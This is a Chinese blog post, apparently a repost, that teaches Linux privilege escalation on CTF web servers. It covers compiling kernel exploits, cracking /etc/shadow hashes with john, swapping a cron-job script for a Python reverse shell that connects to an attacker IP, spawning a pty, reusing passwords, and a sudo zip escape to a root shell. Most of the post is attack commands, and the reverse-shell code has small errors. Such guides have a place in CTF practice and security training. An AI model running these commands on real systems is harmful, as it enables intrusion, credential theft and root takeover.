• CTF中对web服务器各种提权姿势


            在我们拿下服务器web服务往往只是低权限用户,对于内网渗透,我们往往需要root权限,Linux系统提权包括使用溢出漏洞已及利用系统配置文件。

    提权前提:

      1.拿到低权限shell

      2.被入侵机器上ncpythonperl等常见linux下的工具

      3.有权上传下载文件

    1. 利用内核漏洞
    通杀内核漏洞十分少见,因此我们先应对系统相关进行信息收集。

    利用searchsplot

    查看发行版本:  

    cat /etc/issue

    cat /etc/*-release

    lsb_realse -a

    查看内核版本:

    uname -a

    如果具有内核溢出漏洞我们就上传溢出代码,编译执行

    gcc  xxx.c  -o  exploit

    chmod +x exploit

    ./exploit

    2. 利用明文root密码提权

    Linux密码大多都和/etc/passwd /etc/shadow 这两个配置文件有关。Passwd里储存了用户,shadow里密码的hash。出于安全考虑passwd是全用户可读,root可写,shadow是仅root可读写。

    例如 破解linux用户名和对应密码

    /etc/passwd /etc/shadow

    unshadow passwd shadow >cracked

    john cracked

     

    3. 利用定时计划任务

    通过查看 /etc/crontab 文件,查看其他用户是否有设定的系统定时任务,并查看对应对应任务内容,执行的任务肯定时对靶场机器的某个文件。

    etc/crontab 文件是用来设定系统定期执行任务,需要root权限,不同用户都可以有不同定时任务如果在 /etc/crontab 下有某个用户执行的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell ,用创建的脚本替换原来的py脚本netcat执行监听获得对应用户的权限

    如果有定时执行任务的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限

    import os,subprocess,socket
     
    s=socket.socket()
    s.connect(("攻击机ip地址","攻击机监听端口"))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess(["/bin/sh","-i "])

    启动监听: nc -nlvp port

     

    4. 密码复用

    管理员可能会设置重复使用的密码,因此可能数据库或者web后台的密码就是root密码

    拥有疑似root的秘密可以尝试ssh登录,若禁止root登录或被防火墙挡住,我们就想办法在低权限上输入密码,当然一般情况下linux会要求用户必须从终端设备(tty)中输入密码,禁止标准输入,sudo常常不能使用

    因此我们可以用python模拟一个终端  python -c "import pty;pty.spawn('/bin/bash')"

     

    5. 利用zip提权

     使用sudo -l 查看当前用户可以使用的root提权命令信息,发现可以执行tarzip相关命令。

    touch exploit
    sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"

     

     

  • 相关阅读:
    绝对干货:供个人开发者赚钱免费使用的一些好的API接口
    科普技术贴:个人开发者的那些赚钱方式
    北漂程序员的笑与泪
    非著名程序员公众号
    北漂程序员的笑与泪
    【有人@我】Android中高亮变色显示文本中的关键字
    新时代的coder如何成为专业程序员
    自定义圆形控件RoundImageView并认识一下attr.xml
    偷天换日:网络劫持,网页js被伪装替换。
    jeesite 去掉 /a
  • 原文地址:https://www.cnblogs.com/zhaoyixiang/p/11053993.html
Copyright © 2020-2023  润新知